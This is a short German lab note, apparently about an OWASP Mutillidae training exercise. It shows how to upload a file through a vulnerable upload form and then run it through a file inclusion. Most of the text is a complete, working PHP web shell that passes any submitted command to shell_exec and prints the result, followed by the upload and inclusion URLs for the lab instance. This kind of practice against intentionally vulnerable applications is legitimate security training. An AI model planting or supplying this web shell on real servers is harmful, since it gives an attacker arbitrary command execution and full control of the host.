OWASP File Upload Kommando Ausführung

file.php

Dieser PHP File so später Kommandos ausführen

<form action="" method="post" enctype="application/x-www-form-urlencoded">
       <table style="margin-left:auto; margin-right:auto;">
		<tr>

			<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">

				Please enter system command
			</td>
		</tr>
		<tr><td> </td></tr>
		<tr>
			<td style="font-weight: bold;">Command</td>
			<td><input type="text" name="pCommand" size="50"></td>
		</tr>
		<tr><td> </td></tr>
		<tr>
			<td colspan="2" style="text-align:center;">
				<input type="submit" value="Execute Command" />
			</td>
		</tr>
	</table>
</form>
<?php 
	if (isset($_REQUEST["pCommand"])) {
		echo "<pre>";
		echo shell_exec($_REQUEST["pCommand"]);
		echo "</pree>";
	}//end if
?>

Upload File

• https://owasp.willux.de/mutillidae/index.php?page=upload-file.php

Datei aufrufen

• https://owasp.willux.de/mutillidae/index.php?page=/tmp/file.php

Kommando aufrufen